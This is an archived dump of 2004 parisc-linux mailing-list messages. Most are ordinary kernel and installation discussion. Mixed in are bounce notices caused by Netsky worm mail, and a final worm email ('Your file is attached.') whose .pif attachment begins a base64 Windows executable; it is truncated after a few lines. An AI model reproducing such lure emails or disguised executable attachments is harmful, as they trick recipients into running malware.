References: <20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
	<20040226155659.GA11451@colo.lackof.org>
	<1077907459.29711.13.camel@dhcp23.swansea.linux.org.uk>
	<20040227212356.GA28668@colo.lackof.org>
	<Pine.LNX.4.58.0402272325410.9660@sal.ucc.ie>
	<Pine.LNX.4.58.0402280055400.10811@sal.ucc.ie>
	<1077984432.31248.4.camel@dhcp23.swansea.linux.org.uk>
	<20040228164506.GA11659@colo.lackof.org>
	<20040228174149.GD25779@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623228 6200 80.91.229.3 (22 Nov 2014 02:27:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sat Feb 28 12:48:09 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A7914852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 12:48:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id AEF562980A0; Sat, 28 Feb 2004 12:48:08 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 13481-08; Sat, 28 Feb 2004 12:48:08 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3912829802E; Sat, 28 Feb 2004 12:48:08 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040228174149.GD25779@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 19:48:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20953

On Sat, Feb 28, 2004 at 05:41:49PM +0000, Matthew Wilcox wrote:
> > Uhoh..no swapping at all in this case.
> > I was expecting readw to swap bytes.
> > Am I just confused again about how a BE is supposed to behave?
> > *sigh*
> 
> You're confused by looking at the unused definition ;-)

Worse - I was confused by looking at linux-2.6/asm/io.h my laptop. :^(
/me hides

> #define readw(addr) le16_to_cpu(__raw_readw(addr))

yes - so I went on a very short goose chase.
ide_insw_mm stuff should be fine too.

thanks,
grant


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JjDunnjr@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boot from CD
Date: Sat, 28 Feb 2004 15:54:52 EST
Lines: 40
Approved: news@gmane.org
Message-ID: <105.40474b25.2d725a1c@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="-----------------------------1078001692"
X-Trace: ger.gmane.org 1416623229 6201 80.91.229.3 (22 Nov 2014 02:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: JjDunnjr@aol.com  Sat Feb 28 13:54:57 2004
Return-Path: <JjDunnjr@aol.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from imo-m25.mx.aol.com (imo-m25.mx.aol.com [64.12.137.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id B4E6D4840
	for <parisc-linux@parisc-linux.org>;
	Sat, 28 Feb 2004 13:54:56 -0700 (MST)
Original-Received: from JjDunnjr@aol.com
	by imo-m25.mx.aol.com (mail_out_v36_r4.14.) id b.105.40474b25 (26116)
	for <parisc-linux@parisc-linux.org>;
	Sat, 28 Feb 2004 15:54:53 -0500 (EST)
X-Mailer: 9.0 for Windows sub 5003
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 20:54:57 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20954


-------------------------------1078001692
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Gentlepersons:
I recently purchased the "Woody" version of debian Linux for my 715-75 
PA-RISC box.  However, none of the six CDs seems to be able to boot the 715-75.  I 
am planning to make an install CD.  Please tell me what files should be on the 
CD that I will create.

Thanks in advance
jack dunn

PS I have reset the CD to use 512 blocks not 2096

-------------------------------1078001692
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD>
<META charset=3DUS-ASCII http-equiv=3DContent-Type content=3D"text/html; cha=
rset=3DUS-ASCII">
<META content=3D"MSHTML 6.00.2800.1106" name=3DGENERATOR></HEAD>
<BODY style=3D"FONT-SIZE: 10pt; FONT-FAMILY: Arial; BACKGROUND-COLOR: #fffff=
f">
<DIV>Gentlepersons:</DIV>
<DIV>I recently purchased the "Woody" version of debian Linux for my 715-75=20=
PA-RISC box.&nbsp; However, none of the six CDs seems to be able to boot the=
 715-75.&nbsp; I am planning to make an install CD.&nbsp; Please tell me wha=
t files should be on the CD that I will create.</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thanks in advance</DIV>
<DIV>jack dunn</DIV>
<DIV>&nbsp;</DIV>
<DIV>PS I have reset the CD to use 512 blocks not 2096</DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

-------------------------------1078001692--


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Sat, 28 Feb 2004 22:21:24 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <40411464.6050201@tiscali.be>
References: <20040228212407.DB126494190@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623229 6203 80.91.229.3 (22 Nov 2014 02:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Sat Feb 28 15:20:33 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7B3C4894
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 15:20:32 -0700 (MST)
Original-Received: from [62.235.121.205] (port=32781 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AxCox-0000bW-Na; Sat, 28 Feb 2004 23:20:31 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040228212407.DB126494190@palinux.hppa>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 22:20:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20955



James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/02/28 14:24:07
> 
> Modified files:
> 	.              : Makefile 
> 
> Log message:
> Compiles, boots and stands the BK torture test on my C360, so -pa1
> 
Hey interesting, I mean 'torture test'. Where can I get more detail on this stuff to test on the N4K also?

Thanks in advance for help,
	Joel


From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 28 Feb 2004 16:42:43 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <1078008164.1968.94.camel@mulgrave>
References: <20040228212407.DB126494190@palinux.hppa> 
	<40411464.6050201@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623229 6209 80.91.229.3 (22 Nov 2014 02:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:09 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: James.Bottomley@SteelEye.com  Sat Feb 28 15:42:54 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8D374840
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 15:42:53 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i1SMgva03934; Sat, 28 Feb 2004 17:42:58 -0500
In-Reply-To: <40411464.6050201@tiscali.be>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 28 Feb 2004 22:42:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20956

On Sat, 2004-02-28 at 16:21, Joel Soete wrote:
> Hey interesting, I mean 'torture test'. Where can I get more detail on this stuff to test on the N4K also?

It just means running bk doing a tree merge, checking out the results
and compiling the kernel.  It seems to sow up most types of problems ...

James




From - Thu Nov 08 21:31:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Administrator <Postmaster@asiago.onvix.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Mail System Error - Returned Mail
Date: Sat, 28 Feb 2004 20:11:03 -0500
Lines: 116
Approved: news@gmane.org
Message-ID: <20040229011103887.AAB2524@asiago.onvix.com>
Reply-To: Mail Administrator <Postmaster@asiago.onvix.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	Boundary="===========================_ _= 8126220(2524)"
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416623230 6210 80.91.229.3 (22 Nov 2014 02:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: MAILER-DAEMON  Sat Feb 28 18:11:15 2004
Return-Path: <>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from asiago.onvix.com (asiago.onvix.com [216.142.156.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1DBA4840
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 28 Feb 2004 18:11:14 -0700 (MST)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 29 Feb 2004 01:11:15 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20957


--===========================_ _= 8126220(2524)
Content-Type: text/plain

This Message was undeliverable due to the following reason:

The recipient(s) indicated below did not receive this message 
because their mailbox size limit would have been exceeded. It has 
been returned and it is recommended that you contact the recipient 
and request that space be made available within their mailbox.

Note: The Postmaster for this mail server may increase the mailbox
quota on the account referenced below to accommodate the delivery
of additional mail.

No storage space available in mailbox for soporte@infoguia.com

The following recipients haven't received this message:

     soporte@infoguia.com

Please reply to Postmaster@asiago.onvix.com
if you feel this message to be in error.


--===========================_ _= 8126220(2524)
Content-Type: message/rfc822

Received: from smtp.onvix.com ([216.142.156.5]) by asiago.onvix.com
	(Post.Office MTA v3.5.3 release 223 ID# 0-12345L500S10000V35)
	with ESMTP id com for <soporte@infoguia.com>;
	Sat, 28 Feb 2004 20:11:02 -0500
Received: from 62-14-249-78.inversas.jazztel.es [62.14.249.78] (EHLO
	bilbao.pandasoftware.es)
	by smtp.onvix.com (inFusion Mail Server Professional v2.5.6) with ESMTP
	id 4b4e72cc14920049a9c14b684cb1f335
	for <soporte@infoguia.com>; Sat, 28 Feb 2004 20:10:57 -0500
Received: from postaria.pandasoftware.es (postaria.pandasoftware.es
	[172.16.1.80])
	by bilbao.pandasoftware.es (Postfix) with ESMTP id 09E751B32FD
	for <soporte@infoguia.com>; Sun, 29 Feb 2004 02: 10:58 +0100 (CET)
Received: by POSTARIA with Internet Mail Service (5.5.2657.9)
	id <FW2ACXGW>; Sun, 29 Feb 2004 02: 08:35 +0100
Received: from bilbao.pandasoftware.es ([192.168.100.82]) by
	ardatz.pandasoftware.local with SMTP (Microsoft Exchange
	Internet Mail Service Version 5.5.2657.72)
	id FWY35D2X; Sun, 29 Feb 2004 02: 09:49 +0100
Received: from pandasoftware.com (6532178hfc138.tampabay.rr.com
	[65.32.178.138])
	by bilbao.pandasoftware.es (Postfix) with ESMTP id 70C9F1B348F
	for <techsupport.caribe@pandasoftware.com>;
	Sun, 29 Feb 2004 02: 10:47 +0100 (CET)
From: parisc-linux@lists.parisc-linux.org
To: techsupport.caribe@pandasoftware.com
Subject: Re: does it?
Date: Sat, 28 Feb 2004 20:10:47 -0500
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0009_0000195F.000017BB"
X-Priority: 3
X-MSMail-Priority: Normal
Message-Id: <20040229011047.70C9F1B348F@bilbao.pandasoftware.es>
X-PAA-AntiVirus: Removed W32/Netsky.C.worm
X-PAA-AntiVirus-Message: Scanned by http://www.pandasoftware.com/PAA
X-SMTPFrom: parisc-linux@lists.parisc-linux.org
X-virus-scanned-by: PrismAV

This is a multi-part message in MIME format.

------=_NextPart_000_0009_0000195F.000017BB
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

<<<Failure>>>


------=_NextPart_000_0009_0000195F.000017BB
Content-Type: text/plain; charset="us-ascii"; format=flowed


**********************************************************
**********************************************************

WARNING: Panda Antivirus GateDefender has detected a virus in file
attached to this e-mail message!

The attachment has been automatically removed to
protect your network.

Panda Antivirus GateDefender Administrator: informatica.interna@pandasoftware.es

02/29/04 02:11:37 
Panda Antivirus GateDefender (Version 5.1 R1c (5.0.60.2)) - http://www.pandasoftware.com/
Antivirus Vendor: Panda Software
Scan Engine Version: 4.1.4.307
Pattern File Version: 3.69701 (Timestamp: 28/02/2004 164035)

Machine name: PandaGD7200-Sist
Machine IP address: 172.16.1.25
Server: 172.16.1.81
Client: 192.168.100.82
Protocol: SMTP

Virus: "W32/Netsky.C.worm" found!
Attachment: final.com

**********************************************************
**********************************************************


------=_NextPart_000_0009_0000195F.000017BB--

--===========================_ _= 8126220(2524)--



From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Sun, 29 Feb 2004 09:39:06 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <4041B33A.2010802@tiscali.be>
References: <20040228212407.DB126494190@palinux.hppa>
	<40411464.6050201@tiscali.be> <1078008164.1968.94.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623230 6213 80.91.229.3 (22 Nov 2014 02:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:10 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Sun Feb 29 02:38:14 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53A694840
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Feb 2004 02:38:14 -0700 (MST)
Original-Received: from [62.235.122.41] (port=32818 helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AxNOn-0004wn-2A; Sun, 29 Feb 2004 10:38:13 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <1078008164.1968.94.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 29 Feb 2004 09:38:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20958



James Bottomley wrote:
> On Sat, 2004-02-28 at 16:21, Joel Soete wrote:
> 
>>Hey interesting, I mean 'torture test'. Where can I get more detail on this stuff to test on the N4K also?
> 
> 
> It just means running bk doing a tree merge, checking out the results
> and compiling the kernel.  It seems to sow up most types of problems ...
> 
> James
> 
> 
> 
Ah ok , it just sound like some gcc test :) , that is why I though there was bourned a new test for our kernel.

Thanks for feedback,
	Joel

PS: I will so prepare such boot kernel for the N ;)


From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mail Delivery Subsystem <MAILER-DAEMON@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Returned mail: User unknown
Date: Mon, 1 Mar 2004 12:11:18 -0500 (EST)
Lines: 71
Approved: news@gmane.org
Message-ID: <200403011711.MAC11430@rly-xg01.mx.aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/report; report-type=delivery-status;
	boundary="MAC11430.1078161078/rly-xg01.mx.aol.com"
X-Trace: ger.gmane.org 1416623230 6215 80.91.229.3 (22 Nov 2014 02:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:10 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: MAILER-DAEMON  Mon Mar  1 10:11:46 2004
Return-Path: <>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from omr-m05.mx.aol.com (omr-m05.mx.aol.com [64.12.138.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 97E644852
	for <parisc-linux@parisc-linux.org>;
	Mon,  1 Mar 2004 10:11:45 -0700 (MST)
Original-Received: from rly-xg01.mx.aol.com (rly-xg01.mail.aol.com [172.20.115.198]) by
	omr-m05.mx.aol.com (v97.10) with ESMTP id RELAYIN4-540436eb63d2;
	Mon, 01 Mar 2004 12:11:18 -0500
Original-Received: from localhost (localhost)
	by rly-xg01.mx.aol.com (8.8.8/8.8.8/AOL-5.0.0)
	with internal id MAC11430; Mon, 1 Mar 2004 12:11:18 -0500 (EST)
Auto-Submitted: auto-generated (failure)
X-AOL-IP: 172.20.115.198
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 17:11:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20959

This is a MIME-encapsulated message

--MAC11430.1078161078/rly-xg01.mx.aol.com

The original message was received at Mon, 1 Mar 2004 12:10:06 -0500 (EST)
from  [65.204.189.242]


*** ATTENTION ***

Your e-mail is being returned to you because there was a problem with its
delivery.  The address which was undeliverable is listed in the section
labeled: "----- The following addresses had permanent fatal errors -----".

The reason your mail is being returned to you is listed in the section
labeled: "----- Transcript of Session Follows -----".

The line beginning with "<<<" describes the specific reason your e-mail could
not be delivered.  The next line contains a second error message which is a
general translation for other e-mail servers.

Please direct further questions regarding this message to your e-mail
administrator.

--AOL Postmaster



   ----- The following addresses had permanent fatal errors -----
<ctoafn@aol.com>

   ----- Transcript of session follows -----
... while talking to air-xg04.mail.aol.com.:
>>> RCPT To:<ctoafn@aol.com>
<<< 550 ctoafn IS NOT ACCEPTING ANY MAIL
550 <ctoafn@aol.com>... User unknown

--MAC11430.1078161078/rly-xg01.mx.aol.com
Content-Type: message/delivery-status

Reporting-MTA: dns; rly-xg01.mx.aol.com
Arrival-Date: Mon, 1 Mar 2004 12:10:06 -0500 (EST)

Final-Recipient: RFC822; ctoafn@aol.com
Action: failed
Status: 5.1.1
Remote-MTA: DNS; air-xg04.mail.aol.com
Diagnostic-Code: SMTP; 550 ctoafn IS NOT ACCEPTING ANY MAIL
Last-Attempt-Date: Mon, 1 Mar 2004 12:11:18 -0500 (EST)

--MAC11430.1078161078/rly-xg01.mx.aol.com
Content-Type: text/rfc822-headers

Received: from  aol.com ([65.204.189.242]) by rly-xg01.mx.aol.com (v98.5) with ESMTP id MAILRELAYINXG12-44440436e6c100; Mon, 01 Mar 2004 12:10:05 -0500
From: parisc-linux@parisc-linux.org
To: ctoafn@aol.com
Subject: Re: Hi
Date: Mon, 1 Mar 2004 09:10:05 -0800
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0001_00006BF9.000023E5"
X-Priority: 3
X-MSMail-Priority: Normal
X-AOL-IP: 65.204.189.242
X-AOL-SCOLL-SCORE: 0:XXX:XX
X-AOL-SCOLL-URL_COUNT: 0
Message-ID: <200403011210.44440436e6c100@rly-xg01.mx.aol.com>

--MAC11430.1078161078/rly-xg01.mx.aol.com--



From - Thu Nov 08 21:31:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: criss@i-net.ro
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Thanks!
Date: Mon, 1 Mar 2004 09:12:34 -0800
Lines: 345
Approved: news@gmane.org
Message-ID: <20040301171234.D959A4852@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0014_00002B14.00006041"
X-Trace: ger.gmane.org 1416623230 6217 80.91.229.3 (22 Nov 2014 02:27:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: criss@i-net.ro  Mon Mar  1 10:12:35 2004
Return-Path: <criss@i-net.ro>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (unknown [65.204.189.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id D959A4852
	for <parisc-linux@parisc-linux.org>;
	Mon,  1 Mar 2004 10:12:34 -0700 (MST)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Mon, 01 Mar 2004 17:12:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20960

This is a multi-part message in MIME format.

------=_NextPart_000_0014_00002B14.00006041
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Your file is attached.

------=_NextPart_000_0014_00002B14.00006041
Content-Type: application/octet-stream;
	name="message_part2.pif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="message_part2.pif"

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V
4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp
